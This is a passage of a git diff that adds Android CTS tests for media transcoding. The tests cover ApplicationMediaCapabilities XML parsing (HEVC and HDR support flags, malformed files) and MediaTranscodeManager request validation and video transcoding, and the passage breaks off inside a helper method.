diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
new file mode 100644
index 0000000..6a82ce4
--- /dev/null
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/ApplicationMediaCapabilitiesTest.java
@@ -0,0 +1,286 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.media.mediatranscoding.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.res.XmlResourceParser;
+import android.media.ApplicationMediaCapabilities;
+import android.media.MediaFeature;
+import android.media.MediaFormat;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.test.AndroidTestCase;
+import android.util.Xml;
+
+import org.junit.Test;
+import org.xmlpull.v1.XmlPullParser;
+
+import java.io.InputStream;
+import java.nio.charset.StandardCharsets;
+
+@Presubmit
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class ApplicationMediaCapabilitiesTest extends AndroidTestCase {
+    private static final String TAG = "ApplicationMediaCapabilitiesTest";
+
+    public void testSetSupportHevc() throws Exception {
+        ApplicationMediaCapabilities capability =
+                new ApplicationMediaCapabilities.Builder().addSupportedVideoMimeType(
+                        MediaFormat.MIMETYPE_VIDEO_HEVC).build();
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+    }
+
+    public void testSetSupportHdr() throws Exception {
+        ApplicationMediaCapabilities capability =
+                new ApplicationMediaCapabilities.Builder().addSupportedHdrType(
+                        MediaFeature.HdrType.HDR10_PLUS).addSupportedVideoMimeType(
+                        MediaFormat.MIMETYPE_VIDEO_HEVC).build();
+        assertEquals(true, capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10_PLUS));
+    }
+
+    // Test supports HDR without supporting hevc, expect exception.
+    public void testSupportHdrWithoutSupportHevc() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            ApplicationMediaCapabilities capability =
+                    new ApplicationMediaCapabilities.Builder().addSupportedHdrType(
+                            MediaFeature.HdrType.HDR10_PLUS).build();
+        });
+    }
+
+
+    // Test builder with all supports are set to true.
+    public void testBuilder() throws Exception {
+        ApplicationMediaCapabilities capability =
+                new ApplicationMediaCapabilities.Builder().addSupportedVideoMimeType(
+                        MediaFormat.MIMETYPE_VIDEO_HEVC).addSupportedHdrType(
+                        MediaFeature.HdrType.HDR10_PLUS).build();
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10_PLUS));
+    }
+
+    //   Test read the application's xml from res/xml folder using the XmlResourceParser.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    public void testReadMediaCapabilitiesXml() throws Exception {
+        XmlResourceParser parser = mContext.getResources().getXml(R.xml.mediacapabilities);
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertFalse(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10));
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+    }
+
+    //   Test read the xml from assets folder using the InputStream.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    public void testReadFromCorrectXmlWithInputStreamInAssets() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertFalse(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10));
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+    }
+
+    //   Test read the application's xml from assets folder using the XmlResourceParser.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="true"/>
+    //    <format android:name="HDR10Plus" supported="true"/>
+    //    <format android:name="Dolby-Vision" supported="true"/>
+    //    <format android:name="HLG" supported="true"/>
+    public void testReadMediaCapabilitiesXmlWithSupportAllHdr() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("SupportAllHdr.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10));
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10_PLUS));
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.DOLBY_VISION));
+        assertTrue(capability.isHdrTypeSupported(MediaFeature.HdrType.HLG));
+        assertTrue(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+    }
+
+    // Test parsing invalid xml with wrong tag expect UnsupportedOperationException
+    // MediaCapability does not match MediaCapabilities at the end which will lead to
+    // exception with "Ill-formatted xml file"
+    // <MediaCapability xmlns:android="http://schemas.android.com/apk/res/android">
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="true"/>
+    // </MediaCapabilities>
+    public void testReadFromWrongMediaCapabilityXml() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("WrongMediaCapabilityTag.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test invalid xml with wrong tag expect UnsupportedOperationException
+    // MediaCapability is wrong tag.
+    // <MediaCapability xmlns:android="http://schemas.android.com/apk/res/android">
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="true"/>
+    // </MediaCapability>
+    public void testReadFromWrongMediaCapabilityXml2() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("WrongMediaCapabilityTag2.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test invalid attribute value of "support" with true->yes expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //    <format android:name="HEVC" supported="yes"/>
+    //    <format android:name="HDR10" supported="false"/>
+    // </media-capabilities>
+    public void testReadFromXmlWithWrongBoolean() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("WrongBooleanValue.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that support HDR10 but not support HEVC.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //    <format android:name="HDR10" supported="true"/>
+    // </media-capabilities>
+    public void testReadXmlSupportHdrWithoutSupportHevc() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("SupportHdrWithoutHevc.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that has conflicted supported value.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //     <format android:name="HEVC" supported="true"/>
+    //     <format android:name="HEVC" supported="false"/>
+    // </media-capabilities>
+    public void testReadXmlConflictSupportedValue() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("ConflictSupportedValue.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that has empty format.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //     <format/>
+    // </media-capabilities>
+    public void testReadXmlWithEmptyFormat() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("EmptyFormat.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that has empty format.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //     <format android:name="HEVC"/>
+    // </media-capabilities>
+    public void testReadXmlFormatWithoutSupported() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("FormatWithoutSupported.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test parsing capabilities that has supported without the format name.
+    // Expect UnsupportedOperationException
+    // <media-capabilities xmlns:android="http://schemas.android.com/apk/res/android">
+    //     <format supported="true"/>
+    // </media-capabilities>
+    public void testReadXmlSupportedWithoutFormat() throws Exception {
+        assertThrows(UnsupportedOperationException.class, () -> {
+            InputStream xmlIs = mContext.getAssets().open("SupportedWithoutFormat.xml");
+            final XmlPullParser parser = Xml.newPullParser();
+            parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+            ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                    parser);
+        });
+    }
+
+    // Test unspecified codec type.
+    // VP9 is not declare in the XML which leads to isFormatSpecified return false.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    public void testUnspecifiedCodecMimetype() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertFalse(capability.isFormatSpecified(MediaFormat.MIMETYPE_VIDEO_VP9));
+        assertFalse(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_VP9));
+    }
+
+    // Test unsupported codec type.
+    //    <format android:name="HEVC" supported="false"/>
+    public void testUnsupportedCodecMimetype() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("MediaCapabilitiesUnsupportedHevc.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertTrue(capability.isFormatSpecified(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        assertFalse(capability.isVideoMimeTypeSupported(MediaFormat.MIMETYPE_VIDEO_HEVC));
+    }
+
+    // Test unspecified and unsupported hdr type.
+    // DOLBY_VISION is not declare in the XML which leads to isFormatSpecified return false.
+    //    <format android:name="HEVC" supported="true"/>
+    //    <format android:name="HDR10" supported="false"/>
+    public void testUnsupportedHdrtype() throws Exception {
+        InputStream xmlIs = mContext.getAssets().open("MediaCapabilities.xml");
+        final XmlPullParser parser = Xml.newPullParser();
+        parser.setInput(xmlIs, StandardCharsets.UTF_8.name());
+        ApplicationMediaCapabilities capability = ApplicationMediaCapabilities.createFromXml(
+                parser);
+        assertFalse(capability.isFormatSpecified(MediaFeature.HdrType.DOLBY_VISION));
+        assertFalse(capability.isHdrTypeSupported(MediaFeature.HdrType.DOLBY_VISION));
+        assertTrue(capability.isFormatSpecified(MediaFeature.HdrType.HDR10));
+        assertFalse(capability.isHdrTypeSupported(MediaFeature.HdrType.HDR10));
+    }
+}
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
new file mode 100644
index 0000000..6e31c44
--- /dev/null
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
@@ -0,0 +1,709 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.mediatranscoding.cts;
+
+import static org.testng.Assert.assertThrows;
+
+
+import android.content.ContentResolver;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.AssetFileDescriptor;
+import android.media.ApplicationMediaCapabilities;
+import android.media.MediaFormat;
+import android.media.MediaTranscodeManager;
+import android.media.MediaTranscodeManager.TranscodingRequest;
+import android.media.MediaTranscodeManager.TranscodingSession;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Environment;
+import android.os.FileUtils;
+import android.os.ParcelFileDescriptor;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.platform.test.annotations.RequiresDevice;
+import android.provider.MediaStore;
+import android.test.AndroidTestCase;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Test;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.Executors;
+import java.util.concurrent.Semaphore;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+@Presubmit
+@RequiresDevice
+@AppModeFull(reason = "Instant apps cannot access the SD card")
+public class MediaTranscodeManagerTest extends AndroidTestCase {
+    private static final String TAG = "MediaTranscodeManagerTest";
+    /** The time to wait for the transcode operation to complete before failing the test. */
+    private static final int TRANSCODE_TIMEOUT_SECONDS = 10;
+    /** Copy the transcoded video to /storage/emulated/0/Download/ */
+    private static final boolean DEBUG_TRANSCODED_VIDEO = false;
+    /** Dump both source yuv and transcode YUV to /storage/emulated/0/Download/ */
+    private static final boolean DEBUG_YUV = false;
+
+    private Context mContext;
+    private ContentResolver mContentResolver;
+    private MediaTranscodeManager mMediaTranscodeManager = null;
+    private Uri mSourceHEVCVideoUri = null;
+    private Uri mSourceAVCVideoUri = null;
+    private Uri mDestinationUri = null;
+
+    // Default setting for transcoding to H.264.
+    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
+    private static final int BIT_RATE = 20000000;            // 20Mbps
+    private static final int WIDTH = 1920;
+    private static final int HEIGHT = 1080;
+
+    // Threshold for the psnr to make sure the transcoded video is valid.
+    private static final int PSNR_THRESHOLD = 20;
+
+    // Copy the resource to cache.
+    private Uri resourceToUri(Context context, int resId, String name) throws IOException {
+        Uri resUri = new Uri.Builder()
+                .scheme(ContentResolver.SCHEME_ANDROID_RESOURCE)
+                .authority(context.getResources().getResourcePackageName(resId))
+                .appendPath(context.getResources().getResourceTypeName(resId))
+                .appendPath(context.getResources().getResourceEntryName(resId))
+                .build();
+
+        Uri cacheUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/" + name);
+
+        InputStream is = mContext.getResources().openRawResource(resId);
+        OutputStream os = mContext.getContentResolver().openOutputStream(cacheUri);
+
+        FileUtils.copy(is, os);
+        return cacheUri;
+    }
+
+    private static Uri generateNewUri(Context context, String filename) {
+        File outFile = new File(context.getExternalCacheDir(), filename);
+        return Uri.fromFile(outFile);
+    }
+
+    // Generates an invalid uri which will let the service return transcoding failure.
+    private static Uri generateInvalidTranscodingUri(Context context) {
+        File outFile = new File(context.getExternalCacheDir(), "InvalidUri.mp4");
+        return Uri.fromFile(outFile);
+    }
+
+    /**
+     * Creates a MediaFormat with the default settings.
+     */
+    private static MediaFormat createMediaFormat() {
+        MediaFormat format = MediaFormat.createVideoFormat(MIME_TYPE, WIDTH, HEIGHT);
+        format.setInteger(MediaFormat.KEY_BIT_RATE, BIT_RATE);
+        return format;
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        Log.d(TAG, "setUp");
+        super.setUp();
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        mContentResolver = mContext.getContentResolver();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.WRITE_MEDIA_STORAGE");
+        mMediaTranscodeManager = mContext.getSystemService(MediaTranscodeManager.class);
+        assertNotNull(mMediaTranscodeManager);
+        androidx.test.InstrumentationRegistry.registerInstance(
+                InstrumentationRegistry.getInstrumentation(), new Bundle());
+
+        // Setup source HEVC file uri.
+        mSourceHEVCVideoUri = resourceToUri(mContext, R.raw.Video_HEVC_30Frames,
+                "Video_HEVC_30Frames.mp4");
+
+        // Setup source AVC file uri.
+        mSourceAVCVideoUri = resourceToUri(mContext, R.raw.Video_AVC_30Frames,
+                "Video_AVC_30Frames.mp4");
+
+        // Setup destination file.
+        mDestinationUri = generateNewUri(mContext, "transcoded.mp4");
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        InstrumentationRegistry
+                .getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+        super.tearDown();
+    }
+
+    // Skip the test for TV, Car and Watch devices.
+    private boolean shouldSkip() {
+        PackageManager pm =
+                InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_LEANBACK) || pm.hasSystemFeature(pm.FEATURE_WATCH)
+                || pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
+    /**
+     * Verify that setting null destination uri will throw exception.
+     */
+    public void testCreateTranscodingRequestWithNullDestinationUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setSourceUri(mSourceHEVCVideoUri)
+                            .setDestinationUri(null)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setVideoTrackFormat(createMediaFormat())
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that setting invalid pid will throw exception.
+     */
+    public void testCreateTranscodingWithInvalidClientPid() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setSourceUri(mSourceHEVCVideoUri)
+                            .setDestinationUri(mDestinationUri)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setClientPid(-1)
+                            .setVideoTrackFormat(createMediaFormat())
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that setting invalid uid will throw exception.
+     */
+    public void testCreateTranscodingWithInvalidClientUid() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setSourceUri(mSourceHEVCVideoUri)
+                            .setDestinationUri(mDestinationUri)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setClientUid(-1)
+                            .setVideoTrackFormat(createMediaFormat())
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that setting null source uri will throw exception.
+     */
+    public void testCreateTranscodingRequestWithNullSourceUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(IllegalArgumentException.class, () -> {
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setSourceUri(null)
+                            .setDestinationUri(mDestinationUri)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that not setting source uri will throw exception.
+     */
+    public void testCreateTranscodingRequestWithoutSourceUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(UnsupportedOperationException.class, () -> {
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setDestinationUri(mDestinationUri)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setVideoTrackFormat(createMediaFormat())
+                            .build();
+        });
+    }
+
+    /**
+     * Verify that not setting destination uri will throw exception.
+     */
+    public void testCreateTranscodingRequestWithoutDestinationUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(UnsupportedOperationException.class, () -> {
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setSourceUri(mSourceHEVCVideoUri)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .setVideoTrackFormat(createMediaFormat())
+                            .build();
+        });
+    }
+
+
+    /**
+     * Verify that setting video transcoding without setting video format will throw exception.
+     */
+    public void testCreateTranscodingRequestWithoutVideoFormat() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        assertThrows(UnsupportedOperationException.class, () -> {
+            TranscodingRequest request =
+                    new TranscodingRequest.Builder()
+                            .setSourceUri(mSourceHEVCVideoUri)
+                            .setDestinationUri(mDestinationUri)
+                            .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                            .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                            .build();
+        });
+    }
+
+    private void testTranscodingWithExpectResult(Uri srcUri, Uri dstUri, int expectedResult)
+            throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
+
+        TranscodingRequest request =
+                new TranscodingRequest.Builder()
+                        .setSourceUri(srcUri)
+                        .setDestinationUri(dstUri)
+                        .setType(MediaTranscodeManager.TRANSCODING_TYPE_VIDEO)
+                        .setPriority(MediaTranscodeManager.PRIORITY_REALTIME)
+                        .setVideoTrackFormat(createMediaFormat())
+                        .build();
+        Executor listenerExecutor = Executors.newSingleThreadExecutor();
+
+        TranscodingSession session = mMediaTranscodeManager.enqueueRequest(
+                request,
+                listenerExecutor,
+                transcodingSession -> {
+                    Log.d(TAG,
+                            "Transcoding completed with result: " + transcodingSession.getResult());
+                    transcodeCompleteSemaphore.release();
+                    assertEquals(expectedResult, transcodingSession.getResult());
+                });
+        assertNotNull(session);
+
+        if (session != null) {
+            Log.d(TAG, "testMediaTranscodeManager - Waiting for transcode to complete.");
+            boolean finishedOnTime = transcodeCompleteSemaphore.tryAcquire(
+                    TRANSCODE_TIMEOUT_SECONDS, TimeUnit.SECONDS);
+            assertTrue("Transcode failed to complete in time.", finishedOnTime);
+        }
+
+        File dstFile = new File(dstUri.getPath());;
+        if (expectedResult == TranscodingSession.RESULT_SUCCESS) {
+            // Checks the destination file get generated.
+            assertTrue("Failed to create destination file", dstFile.exists());
+        }
+
+        if (dstFile.exists()) {
+            dstFile.delete();
+        }
+    }
+
+    // Tests transcoding from invalid file uri and expects failure.
+    public void testTranscodingInvalidSrcUri() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        Uri invalidSrcUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
+                + mContext.getPackageName() + "/source.mp4");
+        // Create a file Uri: android.resource://android.media.cts/temp.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
+                + mContext.getPackageName() + "/temp.mp4");
+        Log.d(TAG, "Transcoding " + invalidSrcUri + "to destination: " + destinationUri);
+
+        testTranscodingWithExpectResult(invalidSrcUri, destinationUri,
+                TranscodingSession.RESULT_ERROR);
+    }
+
+    // Tests transcoding to a uri in res folder and expects failure as test could not write to res
+    // folder.
+    public void testTranscodingToResFolder() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        // Create a file Uri:  android.resource://android.media.cts/temp.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_ANDROID_RESOURCE + "://"
+                + mContext.getPackageName() + "/temp.mp4");
+        Log.d(TAG, "Transcoding to destination: " + destinationUri);
+
+        testTranscodingWithExpectResult(mSourceHEVCVideoUri, destinationUri,
+                TranscodingSession.RESULT_ERROR);
+    }
+
+    // Tests transcoding to a uri in internal cache folder and expects success.
+    public void testTranscodingToCacheDir() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        // Create a file Uri: file:///data/user/0/android.media.cts/cache/temp.mp4
+        Uri destinationUri = Uri.parse(ContentResolver.SCHEME_FILE + "://"
+                + mContext.getCacheDir().getAbsolutePath() + "/temp.mp4");
+        Log.d(TAG, "Transcoding to cache: " + destinationUri);
+
+        testTranscodingWithExpectResult(mSourceHEVCVideoUri, destinationUri,
+                TranscodingSession.RESULT_SUCCESS);
+    }
+
+    // Tests transcoding to a uri in internal files directory and expects success.
+    public void testTranscodingToInternalFilesDir() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        // Create a file Uri: file:///data/user/0/android.media.cts/files/temp.mp4
+        Uri destinationUri = Uri.fromFile(new File(mContext.getFilesDir(), "temp.mp4"));
+        Log.i(TAG, "Transcoding to files dir: " + destinationUri);
+
+        testTranscodingWithExpectResult(mSourceHEVCVideoUri, destinationUri,
+                TranscodingSession.RESULT_SUCCESS);
+    }
+
+    public void testAvcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_AVC_30Frames, "Video_AVC_30Frames.mp4"),
+                false /* testFileDescriptor */);
+    }
+
+    public void testHevcTranscoding1080PVideo30FramesWithoutAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(
+                resourceToUri(mContext, R.raw.Video_HEVC_30Frames, "Video_HEVC_30Frames.mp4"),
+                false /* testFileDescriptor */);
+    }
+
+    // Enable this after fixing b/175641397
+    public void testHevcTranscoding1080PVideo1FrameWithAudio() throws Exception {
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_1Frame_Audio,
+                "Video_HEVC_1Frame_Audio.mp4"), false /* testFileDescriptor */);
+    }
+
+    public void testHevcTranscoding1080PVideo37FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_37Frames_Audio,
+                "Video_HEVC_37Frames_Audio.mp4"), false /* testFileDescriptor */);
+    }
+
+    public void testHevcTranscoding1080PVideo72FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_72Frames_Audio,
+                "Video_HEVC_72Frames_Audio.mp4"), false /* testFileDescriptor */);
+    }
+
+    // This test will only run when the device support decoding and encoding 4K video.
+    public void testHevcTranscoding4KVideo64FramesWithAudio() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        MediaFormat format = new MediaFormat();
+        format.setString(MediaFormat.KEY_MIME, MediaFormat.MIMETYPE_VIDEO_HEVC);
+        format.setInteger(MediaFormat.KEY_WIDTH, 3840);
+        format.setInteger(MediaFormat.KEY_HEIGHT, 2160);
+        format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
+        if (!MediaUtils.canDecode(format) || !MediaUtils.canEncode(format) ) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_4K_HEVC_64Frames_Audio,
+                "Video_4K_HEVC_64Frames_Audio.mp4"), false /* testFileDescriptor */);
+    }
+
+    public void testHevcTranscodingWithFileDescriptor() throws Exception {
+        if (shouldSkip()) {
+            return;
+        }
+        transcodeFile(resourceToUri(mContext, R.raw.Video_HEVC_37Frames_Audio,
+                "Video_HEVC_37Frames_Audio.mp4"), true /* testFileDescriptor */);
+    }
+
+    private void transcodeFile(Uri fileUri, boolean testFileDescriptor) throws Exception {
+        Semaphore transcodeCompleteSemaphore = new Semaphore(0);
